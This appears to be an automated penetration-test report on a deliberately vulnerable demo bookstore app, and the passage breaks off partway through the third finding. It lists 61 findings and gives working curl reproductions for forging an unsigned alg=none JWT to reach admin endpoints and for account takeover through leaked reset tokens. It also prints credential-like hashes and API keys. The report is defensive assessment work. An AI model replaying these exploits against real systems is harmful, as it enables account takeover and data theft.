invicti

OctoAI

Pentest Report

Marginalia Demo

http://marginalia.testinvicti.com/

Assessment completion date: November 3, 2026
Report generation date: November 18, 2026

Table of Contents

1. Executive Summary
2. Scope & Methodology
3. Attack Surface Analysis
4. OWASP Top 10:2025 Coverage
5. Vulnerabilities Overview
6. Detailed Vulnerabilities (61) +7 Info Severity Findings (presented under section 7)
   - 6.1 CRITICAL Broken Function-Level Authorization on Admin User Listing
   - 6.2 CRITICAL Information Disclosure in Password Reset Token via API Response
   - 6.3 CRITICAL Mass Assignment in price_cents Parameter via Book Creation
   - 6.4 CRITICAL Mass Assignment in unit_price_cents via Order Creation
   - 6.5 CRITICAL Race Condition in Wallet Transfer via Concurrent Requests
   - 6.6 CRITICAL Missing Authentication on Admin Diagnostics Endpoint
   - 6.7 CRITICAL Broken Function-Level Authorization on Admin User Listing via JWT
   - 6.8 CRITICAL Mass Assignment in role and credits via PATCH
   - 6.9 CRITICAL Weak Cryptography in JWT Verification via Algorithm None
   - 6.10 CRITICAL Mass Assignment in role and credits via PATCH
   - 6.11 CRITICAL NoSQL Injection in email Parameter
   - 6.12 CRITICAL Server-Side Request Forgery in host Parameter
   - 6.13 HIGH Broken Function-Level Authorization in Club Join Endpoint
   - 6.14 HIGH Weak Credentials Exposed on Login Page
   - 6.15 HIGH Password Reset Token Not Invalidated After Use
   - 6.16 HIGH Credit Generation via Mark Read on Non-Existent Books
   - 6.17 HIGH Negative Quantity Accepted in Order Creation
   - 6.18 HIGH Mass Assignment in quantity Parameter via Fractional Truncation
   - 6.19 HIGH CORS Misconfiguration in Origin Header
   - 6.20 HIGH Server-Side Request Forgery in host Parameter
   - 6.21 HIGH IDOR in annotation_id via DELETE
   - 6.22 HIGH IDOR in annotation_id Parameter
   - 6.23 HIGH IDOR in annotation_id via PATCH
   - 6.24 HIGH Missing Authentication on Attachment Download Endpoint
   - 6.25 HIGH IDOR in book_id via PATCH
   - 6.26 HIGH Broken Function-Level Authorization in Book Feature Endpoint
   - 6.27 HIGH Broken Function-Level Authorization in club_id Parameter
   - 6.28 HIGH IDOR in list_id Parameter
   - 6.29 HIGH IDOR in order_id Parameter
   - 6.30 HIGH IDOR in review_id via PATCH
   - 6.31 HIGH IDOR in review_id via PATCH
   - 6.32 HIGH IDOR in review_id via DELETE
   - 6.33 HIGH IDOR in user_id Parameter

6.34 HIGH SQL Injection in q Parameter
6.35 HIGH SQL Injection in sort Parameter via ORDER BY Clause
6.36 HIGH Server-Side Request Forgery in source_url Parameter
6.37 HIGH DOM-Based XSS in mgl_notice via postMessage
6.38 HIGH DOM-Based XSS in prefs Parameter via Prototype Pollution
6.39 HIGH Stored XSS in Review body Parameter
6.40 HIGH Stored XSS in Review body Parameter
6.41 HIGH Stored XSS in body Parameter
6.42 HIGH Stored XSS in body Parameter
6.43 HIGH Stored XSS in body Parameter via Review Form
6.44 HIGH Stored XSS in body Parameter
6.45 HIGH Stored XSS in body Parameter
6.46 HIGH DOM-Based XSS in invite Parameter via URL Fragment
6.47 HIGH Reflected XSS in q Parameter
6.48 MEDIUM Unlimited Coupon Reuse in coupon_code Parameter
6.49 MEDIUM Insecure Design in Order quantity Parameter
6.50 MEDIUM Information Disclosure in Status Endpoint
6.51 MEDIUM Information Disclosure in invite_code via Clubs Listing
6.52 MEDIUM Server-Side Request Forgery in host Parameter
6.53 MEDIUM CORS Misconfiguration
6.54 MEDIUM Open Redirect in to Parameter
6.55 MEDIUM Open Redirect in to Parameter
6.56 LOW Missing X-Frame-Options Header
6.57 LOW Missing Strict-Transport-Security Header
6.58 LOW Information Disclosure in Book Detail Owner Object
6.59 LOW Information Disclosure in Status API Endpoint
6.60 LOW Information Disclosure in Registration Endpoint
6.61 LOW Insecure Cookie Flags on Registration Page with Sensitive Data

7. Additional Observations (7)

8. Recommendations

9. Risk Assessment

1. Executive Summary

12	35	8	6	7
CRITICAL	HIGH	MEDIUM	LOW	INFO

Purpose

This assessment targeted the Marginalia web application at http://marginalia.testinvicti.com/, a Python-based online bookstore and reading community platform offering catalog browsing, user accounts, order processing, wallet transactions, and social features including book clubs and annotations. An automated penetration test was conducted using a coordinated suite of specialized security scanning agents, each targeting distinct vulnerability classes across the application's full endpoint surface. The objective was to identify exploitable vulnerabilities, assess the depth of the application's security controls, and provide actionable remediation guidance to reduce business and regulatory risk.

Vulnerabilities

The assessment identified 68 vulnerabilities across all severity tiers: 12 Critical, 35 High, 8 Medium, 6 Low, and 7 Informational. The Critical vulnerabilities represent the most severe findings and demand immediate attention. The authentication system is fundamentally broken: any user can bypass login controls entirely using a forged identity token, the password reset process returns secret reset codes directly in the server's response rather than delivering them privately to the account owner, and a separate injection attack against the reset system allows an attacker to take over any account without knowing the victim's email address. Administrative functions that should be restricted to privileged staff are accessible to any registered user, exposing the personal data, password hashes, and live access keys of every account on the platform. The financial system accepts manipulated prices, negative quantities, and fraudulent wallet transfers, enabling any registered user to generate unlimited store credit or obtain goods without payment.

The 35 High-severity vulnerabilities extend these risks across the application's content and data layers. User-generated content including book reviews is stored and displayed without sanitization, allowing malicious scripts to execute in every visitor's browser. Private user data — including reading lists, annotations, orders, and personal profiles — is accessible to any authenticated user by guessing simple numeric identifiers. The application's search functionality contains a database injection vulnerability that allows unauthorized access to all stored data. Confidential internal documents, including auction reserve prices and appraisal records, are downloadable by anyone on the internet without any login required.

All 68 findings were verified via automated exploitation.

Conclusion

The Marginalia application presents a severe and systemic security posture that reflects fundamental gaps in authentication, authorization, and input handling rather than isolated oversights. The Critical vulnerabilities — particularly the authentication bypass, unauthenticated administrative access, and

financial manipulation flaws — require immediate remediation before the application handles any real user data or financial transactions, as they enable complete platform compromise and unlimited financial fraud with minimal effort. The pervasive absence of object-level authorization across every major data resource indicates that access control was not designed into the application's architecture and must be addressed as a structural concern, not a series of individual fixes. Addressing the Critical and High vulnerabilities will eliminate the most direct paths to account takeover, data breach, and financial loss, while implementing the recommended architectural controls will establish a security foundation capable of protecting the platform and its users going forward.

2. Scope & Methodology

PRIMARY TARGET

http://marginalia.testinvicti.com/

STARTED

2026-11-02 20:59 UTC

COMPLETED

2026-11-03 00:00 UTC

The assessment targeted a single Python/FastAPI web application and its REST API, covering all discovered endpoints across authentication, user management, catalog, ordering, wallet, annotations, reviews, clubs, and administrative functions at http://marginalia.testinvicti.com/.

Testing Methodology

The assessment employed a fully automated penetration testing pipeline in which specialized agents operated concurrently against the target application, each focused on a distinct vulnerability class. The assessment duration was 3h 1m 23s. A total of 273 agents executed across 17 agent types, with 272 completing successfully and 1 failing. The pipeline began with reconnaissance to map the application's attack surface, then dispatched parallel testing agents across injection, access control, authentication, business logic, and misconfiguration categories. Agents registered and authenticated as real users where required, chained findings across vulnerability classes, and confirmed exploitation through active browser replay and Invicti Out-of-band DNS and HTTP callbacks.

Reconnaissance

The reconnaissance agent crawled the application, parsed the OpenAPI specification at `/openapi.json`, and enumerated 52 distinct URLs and endpoints. It identified the technology stack, authentication mechanisms, unauthenticated endpoints, and high-priority attack leads including the unauthenticated SSRF endpoint and the attachment download vulnerability, which were passed to downstream agents as confirmed entry points.

Insecure Direct Object Reference (IDOR)

64 IDOR agents tested every endpoint carrying a user-owned resource identifier, including annotations, reviews, orders, lists, books, clubs, and user profiles. Agents registered pairs of test accounts, created owned resources under one account, and attempted cross-user access from the other, confirming object-level authorization failures across read, write, and delete operations.

SQL Injection (SQLi)

63 SQL injection agents probed query parameters, path parameters, and JSON body fields across authenticated and unauthenticated endpoints. Agents employed error-based, boolean-differential, and time-based detection techniques against SQLite. Confirmed injections were identified in the shelf search and sort parameters; several endpoints were blocked by authentication requirements that prevented the SQL layer from being reached.

Cross-Site Scripting (XSS)

47 XSS agents tested user-supplied input fields for reflected, stored, and DOM-based script injection. Agents submitted payloads through review submission forms, URL parameters, and postMessage channels, then performed browser replay to confirm JavaScript execution in the rendered page context.

NoSQL Injection

38 NoSQL injection agents targeted endpoints that exhibited MongoDB-style query behavior, particularly the password reset endpoint. Agents injected JavaScript operator payloads into the `email` field and used differential response analysis to confirm server-side JavaScript execution within the database query layer.

Server-Side Template Injection (SSTI)

34 SSTI agents probed template-rendering endpoints for Jinja2 and similar expression evaluation. The receipt preview endpoint was identified as a confirmed SSTI surface during business logic testing; the SSTI agents contributed reconnaissance confirming the template syntax and available context variables.

Path Traversal

7 path traversal agents tested file-serving and path-parameterized endpoints for directory traversal sequences, encoding bypasses, and PHP/Java wrapper injection. The attachment download endpoint's file parameter was confirmed to apply basename normalization, preventing traversal; no path traversal vulnerabilities were confirmed.

Local File Inclusion (LFI)

6 LFI agents tested file-serving endpoints for local file inclusion primitives. Testing confirmed that attachment content is stored in the database rather than read from the filesystem at request time, eliminating the LFI attack surface on those endpoints.

Command Injection (CMDi)

3 command injection agents tested parameters that interact with system-level operations. No command injection vulnerabilities were confirmed during the assessment.

Server-Side Request Forgery (SSRF)

3 SSRF agents targeted URL-accepting parameters, confirming server-side fetch behavior on both the unauthenticated diagnostics endpoint and the authenticated book cover import endpoint using Invicti Out-of-band DNS callbacks and direct internal service access.

Business Logic

1 business logic agent performed deep analysis of the application's financial and ordering workflows, testing price manipulation, quantity boundary conditions, coupon reuse, wallet race conditions, and reward system integrity. This agent identified the full suite of financial fraud vulnerabilities and passed confirmed leads to the vulnerability chaining agent.

Vulnerability Chaining

1 vulnerability chaining agent synthesized confirmed findings from other agents to construct multi-step attack paths, including the SSRF-to-admin-account-takeover chain and the mass-assignment-to-admin-

privilege-escalation path.

Secret Leak Detection

1 secret leak agent scanned client-facing HTML, JavaScript, and API responses for embedded credentials, API keys, and sensitive tokens. The agent confirmed hardcoded QA credentials in the login page HTML.

Brute Force / Credential Testing

1 brute force agent tested the login endpoint for rate limiting and credential exposure, confirming that demo credentials were publicly visible in the page source.

JWT Analysis

1 JWT agent tested the application's token verification logic, confirming that the server accepts unsigned tokens with the `alg=none` algorithm and performs no signature validation.

Deserialization

1 deserialization agent tested endpoints accepting serialized data for unsafe deserialization primitives. No deserialization vulnerabilities were confirmed.

Application-Specific Testing

1 application-specific agent performed targeted testing against the application's unique features. This agent encountered authentication barriers that prevented full coverage of some endpoints; the agent run ended with a failed status.

Endpoints Tested (39)

#	ENDPOINT
1	https://marginalia.testinvicti.com/
2	https://marginalia.testinvicti.com/api/_status
3	https://marginalia.testinvicti.com/api/admin/diagnostics
4	https://marginalia.testinvicti.com/api/admin/users
5	https://marginalia.testinvicti.com/api/annotations/1
6	https://marginalia.testinvicti.com/api/annotations/18
7	https://marginalia.testinvicti.com/api/annotations/9
8	https://marginalia.testinvicti.com/api/attachments/download
9	https://marginalia.testinvicti.com/api/auth/reset/confirm
10	https://marginalia.testinvicti.com/api/auth/reset/request
11	https://marginalia.testinvicti.com/api/books
12	https://marginalia.testinvicti.com/api/books/1
13	https://marginalia.testinvicti.com/api/books/1/cover
14	https://marginalia.testinvicti.com/api/books/4/feature

#	ENDPOINT
15	https://marginalia.testinvicti.com/api/books/99999/read
16	https://marginalia.testinvicti.com/api/clubs
17	https://marginalia.testinvicti.com/api/clubs/3/join
18	https://marginalia.testinvicti.com/api/clubs/3/posts
19	https://marginalia.testinvicti.com/api/lists/1
20	https://marginalia.testinvicti.com/api/orders
21	https://marginalia.testinvicti.com/api/orders/1
22	https://marginalia.testinvicti.com/api/reviews/6461
23	https://marginalia.testinvicti.com/api/reviews/7712
24	https://marginalia.testinvicti.com/api/reviews/8054
25	https://marginalia.testinvicti.com/api/shelf
26	https://marginalia.testinvicti.com/api/users/1
27	https://marginalia.testinvicti.com/api/users/me
28	https://marginalia.testinvicti.com/api/wallet/transfer
29	https://marginalia.testinvicti.com/book/
30	https://marginalia.testinvicti.com/book/1/review
31	https://marginalia.testinvicti.com/book/2/review
32	https://marginalia.testinvicti.com/book/3/review
33	https://marginalia.testinvicti.com/book/5/review
34	https://marginalia.testinvicti.com/book/7/review
35	https://marginalia.testinvicti.com/book/9/review
36	https://marginalia.testinvicti.com/clubs
37	https://marginalia.testinvicti.com/go
38	https://marginalia.testinvicti.com/login
39	https://marginalia.testinvicti.com/search

3. Attack Surface Analysis

TECHNOLOGIES

FastAPI (Python) | Python 3.12 | SQLite | libsql_client (custom SQLite wrapper) | Jinja2 (template engine) | Starlette | Pydantic | Swagger UI 5.x (swagger-ui-bundle.js via cdn.jsdelivr.net) | JWT (HS256/none algorithm) | Nginx (reverse proxy)

CRAWL RESULTS

52

Technology Stack

Reconnaissance identified the application as a Python 3.12 FastAPI service backed by a SQLite database located at `/var/lib/marginalia/marginalia.db` on the internal host `mgl-app-01.internal`. The application runs behind an Nginx reverse proxy and uses Jinja2 for HTML template rendering. The API is documented via Swagger UI 5.x loaded from `cdn.jsdelivr.net`, and the full OpenAPI specification is publicly accessible at `/openapi.json`. The application version string `3.4.8-reset-chain` was disclosed by the unauthenticated status endpoint, and the git commit hash `d6fa4b0` was also returned, enabling precise version fingerprinting.

Entry Points

Crawling and OpenAPI parsing identified 52 distinct URLs and endpoints organized across authentication, user management, catalog, ordering, wallet, annotations, reviews, clubs, and administrative namespaces. The application exposes a substantial unauthenticated surface: `/api/_status`, `/api/admin/diagnostics`, `/api/books` (GET), `/api/books/{book_id}` (GET), `/api/attachments/download`, `/api/clubs` (GET), `/healthz`, `/version`, `/openapi.json`, `/docs`, `/go`, and `/search` all respond to unauthenticated requests. The presence of `/api/admin/diagnostics` in the unauthenticated surface is particularly significant, as it accepts a `host` parameter that causes the server to issue outbound HTTP requests and return the full response body to the caller.

Authentication Mechanisms

The application uses two parallel authentication mechanisms: JWT Bearer tokens delivered via the `Authorization` header, and an `mgl_session` cookie set with `HttpOnly` and `SameSite=lax` flags. JWT tokens encode `sub` (user ID) and `role` claims. The JWT verification layer accepts the `alg=none` algorithm, meaning any caller can construct a syntactically valid token with arbitrary claims and no cryptographic signature, and the server will treat it as a legitimate credential. The `mgl_session` cookie's `SameSite=lax` configuration permits it to be sent on cross-origin navigations, which is relevant to the CORS misconfiguration identified in INV-19 and INV-53.

Administrative and Internal Endpoints

The `/api/admin/` namespace contains user listing, order listing, and diagnostics endpoints. The diagnostics endpoint is entirely unauthenticated and functions as an open HTTP proxy, accepting arbitrary destination addresses via the `host` parameter. The internal endpoint `/internal/ops/summary`,

reachable via SSRF through the diagnostics endpoint, returns a password reset token for the administrative account `ops@marginalia.club`, internal peer hostnames (`mgl-app-02.internal:8000`, `mgl-jobs-01.internal:9000`), a metrics collector token, and a deploy key fingerprint. This internal endpoint is not directly reachable from the public internet but is accessible through the SSRF primitive.

Financial and Business Logic Surface

The ordering and wallet subsystem exposes several endpoints that accept monetary values as client-supplied inputs: `POST /api/orders` accepts `unit_price_cents` and `quantity` fields; `POST /api/books` accepts `price_cents`; and `POST /api/wallet/transfer` performs balance deductions without atomic transaction semantics. The `POST /api/books/{book_id}/read` endpoint awards credits for any book ID, including non-existent ones, with no server-side existence check. The coupon system applies discounts without tracking per-user redemption history.

Notable Observations

The login page at `/login` embeds working credentials in both an HTML comment and a rendered tooltip element visible to all visitors. The comment also discloses that the JWT signing key has not been rotated since the staging build. The OpenAPI schema for `PATCH /api/users/me` declares `additionalProperties: true`, explicitly advertising that the server accepts and persists arbitrary JSON fields including `role` and `credits`. The `/api/clubs` endpoint returns private club records including plaintext invite codes to unauthenticated callers. The `/register` endpoint transmits credentials as GET query parameters, embedding them in browser history and proxy logs.

4. OWASP Top 10:2025 Coverage

This assessment was evaluated against the **OWASP Top 10:2025** framework. The table below shows which categories had vulnerabilities identified during testing.

ID	CATEGORY	STATUS	VULNERABILITIES
A01:2025	Broken Access Control	Vulnerabilities Found	26
A02:2025	Security Misconfiguration	Vulnerabilities Found	5
A03:2025	Software Supply Chain Failures	None Found	0
A04:2025	Cryptographic Failures	Vulnerabilities Found	2
A05:2025	Injection	Vulnerabilities Found	13
A06:2025	Insecure Design	Vulnerabilities Found	5
A07:2025	Authentication Failures	Vulnerabilities Found	5
A08:2025	Software or Data Integrity Failures	Vulnerabilities Found	4
A09:2025	Security Logging and Alerting Failures	None Found	0
A10:2025	Mishandling of Exceptional Conditions	Vulnerabilities Found	1

5. Vulnerabilities Overview

#	SEVERITY	TITLE
1	CRITICAL	Broken Function-Level Authorization on Admin User Listing
2	CRITICAL	Information Disclosure in Password Reset Token via API Response
3	CRITICAL	Mass Assignment in price_cents Parameter via Book Creation
4	CRITICAL	Mass Assignment in unit_price_cents via Order Creation
5	CRITICAL	Race Condition in Wallet Transfer via Concurrent Requests
6	CRITICAL	Missing Authentication on Admin Diagnostics Endpoint
7	CRITICAL	Broken Function-Level Authorization on Admin User Listing via JWT
8	CRITICAL	Mass Assignment in role and credits via PATCH
9	CRITICAL	Weak Cryptography in JWT Verification via Algorithm None
10	CRITICAL	Mass Assignment in role and credits via PATCH
11	CRITICAL	NoSQL Injection in email Parameter
12	CRITICAL	Server-Side Request Forgery in host Parameter
13	HIGH	Broken Function-Level Authorization in Club Join Endpoint
14	HIGH	Weak Credentials Exposed on Login Page
15	HIGH	Password Reset Token Not Invalidated After Use
16	HIGH	Credit Generation via Mark Read on Non-Existent Books
17	HIGH	Negative Quantity Accepted in Order Creation
18	HIGH	Mass Assignment in quantity Parameter via Fractional Truncation
19	HIGH	CORS Misconfiguration in Origin Header
20	HIGH	Server-Side Request Forgery in host Parameter
21	HIGH	IDOR in annotation_id Parameter
22	HIGH	IDOR in annotation_id via DELETE
23	HIGH	IDOR in annotation_id via PATCH
24	HIGH	Missing Authentication on Attachment Download Endpoint
25	HIGH	IDOR in book_id via PATCH

#	SEVERITY	TITLE
26	HIGH	Broken Function-Level Authorization in Book Feature Endpoint
27	HIGH	Broken Function-Level Authorization in club_id Parameter
28	HIGH	IDOR in list_id Parameter
29	HIGH	IDOR in order_id Parameter
30	HIGH	IDOR in review_id via PATCH
31	HIGH	IDOR in review_id via PATCH
32	HIGH	IDOR in review_id via DELETE
33	HIGH	IDOR in user_id Parameter
34	HIGH	SQL Injection in q Parameter
35	HIGH	SQL Injection in sort Parameter via ORDER BY Clause
36	HIGH	Server-Side Request Forgery in source_url Parameter
37	HIGH	DOM-Based XSS in mgl_notice via postMessage
38	HIGH	DOM-Based XSS in prefs Parameter via Prototype Pollution
39	HIGH	Stored XSS in body Parameter
40	HIGH	Stored XSS in Review body Parameter
41	HIGH	Stored XSS in Review body Parameter
42	HIGH	Stored XSS in body Parameter
43	HIGH	Stored XSS in body Parameter
44	HIGH	Stored XSS in body Parameter via Review Form
45	HIGH	Stored XSS in body Parameter
46	HIGH	DOM-Based XSS in invite Parameter via URL Fragment
47	HIGH	Reflected XSS in q Parameter
48	MEDIUM	Unlimited Coupon Reuse in coupon_code Parameter
49	MEDIUM	Insecure Design in Order quantity Parameter
50	MEDIUM	Information Disclosure in Status Endpoint
51	MEDIUM	Information Disclosure in invite_code via Clubs Listing
52	MEDIUM	Server-Side Request Forgery in host Parameter

#	SEVERITY	TITLE
53	MEDIUM	CORS Misconfiguration
54	MEDIUM	Open Redirect in to Parameter
55	MEDIUM	Open Redirect in to Parameter
56	LOW	Missing X-Frame-Options Header
57	LOW	Missing Strict-Transport-Security Header
58	LOW	Information Disclosure in Book Detail Owner Object
59	LOW	Information Disclosure in Status API Endpoint
60	LOW	Information Disclosure in Registration Endpoint
61	LOW	Insecure Cookie Flags on Registration Page with Sensitive Data

6. Detailed Vulnerabilities

61 issues identified across 52 parameters

INV-1

Broken Function-Level Authorization on Admin User Listing

CRITICAL

SEVERITY	CATEGORY	CWE
Critical	Broken Access Control	CWE-285

ENDPOINT

`https://marginalia.testinvicti.com/api/admin/users`

CVSS 4.0

8.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N

VULNERABILITY DESCRIPTION

The /api/admin/users endpoint does not verify the caller's role before returning data. The server accepts a JWT with `alg: none` (unsigned) and `role: member` and returns a 200 response containing all 971 user records. The response includes password hashes, live API keys, phone numbers, physical addresses, and email addresses for every user, including the admin account. The server enforces authentication (unauthenticated requests receive 401), but it does not enforce authorization. Any authenticated user, regardless of role, can call admin-only endpoints. The same flaw affects /api/admin/orders.

EVIDENCE

Observed:

```
A JWT token with role=member can access /api/admin/users and retrieve all user data
including password hashes, API keys, phone numbers, and addresses. The endpoint does
not check if the authenticated user has admin role - any authenticated user can access
admin endpoints.
```

HTTP TRANSACTION

REQUEST

```
GET /api/admin/users HTTP/1.1
Host: marginalia.testinvicti.com
Accept: */*
Authorization: Bearer
eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAxLCAicm9sZSI6ICJtZW1iZXIiLCAiaWF0Ijo
```

```
gMTc5MzY1NTIyNCwgImV4cCI6IDE4OTM3NDE2MjR9.
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 330605

{"users":
[{"id":1,"username":"admin","email":"ops@marginalia.club","password_hash":"ffc121a22109
58bf74e5a874668f3d978d24b6a8241496ccff3c0ea245e4f126","role":"admin","api_key":"mk_live
_9f2c1a7be4d84c0f9a1b3e6d7c208f11","credits":500201,"full_name":"Eleanor
Vance","phone":"+1-415-555-0142","address":"2261 Market St, San Francisco, CA
94114","bio":"Keeper of the stacks.","avatar_url":null,"created_at":1700000000},
{"id":2,"username":"curator_rhys","email":"rhys@marginalia.club","password_hash":"c4bbc
b1fbec99d65bf59d85c8cb62ee2db963f0fe106f483d9afa73bd4e39a8a","role":"librarian","api_ke
y":"mk_live_2b7d4e19a0c34f8e91d5c6a3b7e01f42","credits":12202,"full_name":"Rhys
Okonkwo","phone":"+1-206-555-0199","address":"88 Pike St, Seattle, WA
98101","bio":"First-edition hunter.","avatar_url":null,"created_at":1700000000},
[... truncated ... 971 total user records ...]
```

STEPS TO REPRODUCE

1. Register a new member account:

   ```
   curl -s https://marginalia.testinvicti.com/api/auth/register \
     -H 'Content-Type: application/json' \
     -d
   '{"email":"bfla_test_probe@example.com","password":"SecureP@ss123!","username":"bfla
   _test_probe"}'
   ```

   The server returns a JWT token with `role: member`.

2. Send a GET request to the admin users endpoint using the member JWT:

   ```
   curl -s https://marginalia.testinvicti.com/api/admin/users \
     -H 'Authorization: Bearer
   eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAxLCAicm9sZSI6ICJtZW1iZXIiLCAiaWF0
   IjogMTc5MzY1NTIyNCwgImV4cCI6IDE4OTM3NDE2MjR9.'
   ```

   The server responds with HTTP 200 and a JSON body containing all user records, including `password_hash`, `api_key`, `phone`, and `address` fields.

3. Confirm that unauthenticated access is blocked:

   ```
   curl -s -o /dev/null -w '%{http_code}'
   https://marginalia.testinvicti.com/api/admin/users
   ```

   The server responds with 401, proving it checks authentication but not the user's role.

SEVERITY JUSTIFICATION

Any authenticated user can read the entire user database including password hashes and live API keys. PR:L reflects the need for any valid account. VC:H reflects full confidentiality loss on the vulnerable system. SC:H and SI:H reflect that exposed credentials and API keys enable takeover of other systems and accounts. This warrants critical severity.

DISCOVERY & EXPLOITATION

The `/api/admin/users` endpoint enforces authentication — unauthenticated requests receive a 401 — but performs no role verification on authenticated callers. The server accepts a JWT carrying `alg: none` and `role: member` as a valid credential, then returns the full user database without inspecting whether the caller holds an administrative role. The authorization gap is structural: the application treats the presence of any valid (or validly-shaped) token as sufficient proof of entitlement, collapsing the distinction between member and admin privilege entirely.

An authenticated attacker exploits this by forging an unsigned JWT with an arbitrary `role` claim and issuing a single GET request to the endpoint. The 330 KB response delivers 971 complete user records, including the admin account's password hash and live API key. From that position, the attacker can crack the password hash offline, use the `mk_live_*` API key to impersonate the admin immediately without cracking, and repeat the same token-forgery technique against `/api/admin/orders` and any other admin-namespaced route, since the flaw is not endpoint-specific but architectural.

IMPACT

An attacker with any valid account can retrieve the full user database. The exposed password hashes allow offline cracking to obtain plaintext passwords. The exposed live API keys (`mk_live_*`) allow the attacker to impersonate any user. Personal data (full names, phone numbers, physical addresses) enables identity theft and violates data-protection obligations. The admin account's credentials grant full control of the application.

REMEDIATION

1. Add a role-based authorization check on every `/api/admin/*` route. Reject requests where the JWT `role` claim is not `admin` with a 403 response.
2. Disable `alg: none` in the JWT verification library. Require a specific signing algorithm such as `HS256` or `RS256` and validate the signature on every request.
3. Remove `password_hash` and `api_key` from the admin user-listing response. These fields should never leave the server, even for administrators.
4. Rotate all exposed API keys (`mk_live_*`) and force a password reset for every user whose hash was disclosed.
5. Enforce function-level authorization checks through a centralized middleware or dependency (e.g., a FastAPI `Depends` guard) so new admin routes inherit the policy automatically.

INV-2

Information Disclosure in Password Reset Token via API Response

CRITICAL

SEVERITY	CATEGORY	CWE
Critical	Broken Authentication	CWE-640

ENDPOINT

`https://marginalia.testinvicti.com/api/auth/reset/request`

PARAMETER	CVSS 4.0
email	9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The POST /api/auth/reset/request endpoint returns the password reset token directly in the JSON response body when a valid email address is submitted. The response includes a `reset_link` field containing the full reset URL with the token value. For nonexistent email addresses, the endpoint returns `reset_link: null`, which also enables user enumeration. An attacker can request a reset token for any registered email and immediately use it at /api/auth/reset/confirm to change the account password. No authentication is required. The application version string "3.4.8-reset-chain" suggests this is a known defect in the reset flow.

EVIDENCE

Payload used:

```
ops@marginalia.club
```

Observed:

```
POST /api/auth/reset/request returns the password reset token directly in the response
body: {"status":"If that address is on file, a reset link is on its
way.","reset_link":"https://marginalia.testinvicti.com/reset?
token=aad037ddc82a75f7ff4f6b3b"}. This allows any attacker to obtain a password reset
token for any email address and take over the account.
```

HTTP TRANSACTION

REQUEST

```
POST /api/auth/reset/request HTTP/1.1
Host: marginalia.testinvicti.com
Content-Type: application/json
Content-Length: 31

{"email":"ops@marginalia.club"}
```

RESPONSE

```
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2026 21:33:27 GMT
```

```
Content-Type: application/json
Content-Length: 155
set-cookie: mgl_session=0c2990bdfae142168c9f7d4c9fdbca3d; HttpOnly; Max-Age=7200;
Path=/; SameSite=lax

{"status":"If that address is on file, a reset link is on its
way.","reset_link":"https://marginalia.testinvicti.com/reset?
token=aad037ddc82a75f7ff4f6b3b"}
```

STEPS TO REPRODUCE

1. Send a POST request to the password reset endpoint with a valid email address:

   ```
   curl -L --post301 "https://marginalia.testinvicti.com/api/auth/reset/request" \
     -H "Content-Type: application/json" \
     -d '{"email":"ops@marginalia.club"}'
   ```

   The server responds with HTTP 200 and a JSON body containing `reset_link` with the full reset token: `"reset_link":"https://marginalia.testinvicti.com/reset?token=aad037ddc82a75f7ff4f6b3b"`.

2. Confirm the token is absent for a nonexistent email address:

   ```
   curl -L --post301 "https://marginalia.testinvicti.com/api/auth/reset/request" \
     -H "Content-Type: application/json" \
     -d '{"email":"nonexistent@example.com"}'
   ```

   The server responds with `"reset_link":null`, confirming user enumeration.

3. Use the leaked token to reset the account password:

   ```
   curl -L --post301 "https://marginalia.testinvicti.com/api/auth/reset/confirm" \
     -H "Content-Type: application/json" \
     -d '{"token":"aad037ddc82a75f7ff4f6b3b","new_password":"AttackerPassword123!"}'
   ```

   The server responds with `{"status":"success","message":"password reset successfully"}`, completing the account takeover.

SEVERITY JUSTIFICATION

The vulnerability allows unauthenticated remote account takeover with no user interaction and no attack complexity. The CVSS 4.0 vector reflects network access (AV:N), no privileges (PR:N), no user interaction (UI:N), and high confidentiality and integrity impact (VC:H/VI:H) because the attacker gains full control of any account. This is critical severity.

DISCOVERY & EXPLOITATION

The password reset flow is architecturally broken: the `POST /api/auth/reset/request` endpoint treats the reset token as a response payload rather than an out-of-band secret. When a valid email address is submitted, the server returns the full reset URL, including the token value, directly in the `reset_link` field

of the JSON response body. The token is never delivered exclusively through the victim's email inbox, which is the only control that would restrict access to the account owner. The endpoint also differentiates between registered and unregistered addresses by returning `reset_link: null` for unknown emails, enabling systematic user enumeration as a secondary consequence.

An unauthenticated attacker exploiting this vulnerability requires nothing beyond the ability to send an HTTP POST request. By submitting any registered email address to the reset endpoint, the attacker receives a valid, immediately usable reset token in the response. That token is then submitted to `/api/auth/reset/confirm` to set an arbitrary new password, completing a full account takeover with no interaction from the account owner and no access to the victim's email. Active validation confirmed this chain against the administrative account `ops@marginalia.club`, demonstrating that privileged accounts are equally exposed.

IMPACT

An attacker can take over any user account by requesting a password reset and reading the token from the API response. This requires no authentication and no access to the victim's email. The attacker gains full control of the target account, including administrative accounts such as ops@marginalia.club. The differential response also reveals which email addresses are registered in the system.

REMEDIATION

1. Remove the `reset_link` and token from the API response body. Return only the generic status message to the caller.
2. Send the reset token exclusively through the out-of-band email channel so that only the mailbox owner can retrieve it.
3. Return an identical response for both valid and invalid email addresses to prevent user enumeration.
4. Add rate limiting on the /api/auth/reset/request endpoint to slow brute-force attempts against email addresses.
5. Adopt a secure password reset library or framework feature that enforces out-of-band token delivery by default.

INV-3

Mass Assignment in price_cents Parameter via Book Creation

CRITICAL

SEVERITY	CATEGORY	CWE
Critical	Insecure Design	CWE-840

ENDPOINT

`https://marginalia.testinvicti.com/api/books`

PARAMETER

`price_cents:negative-price-book-creation`

CVSS 4.0

7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

VULNERABILITY DESCRIPTION

The POST /api/books endpoint accepts a `price_cents` field with negative integer values. The server does not validate that the price is zero or positive. When a user creates a book with a negative price and then orders it through POST /api/orders, the order total becomes negative. The payment system treats the negative total as a credit and adds the absolute value to the user's wallet. A fresh account starts with 0 credits. After ordering a book priced at -5000, the account holds 5000 credits. Repeating the order doubles the balance to 10000. Any authenticated user can repeat this cycle without limit.

EVIDENCE

Payload used:

```
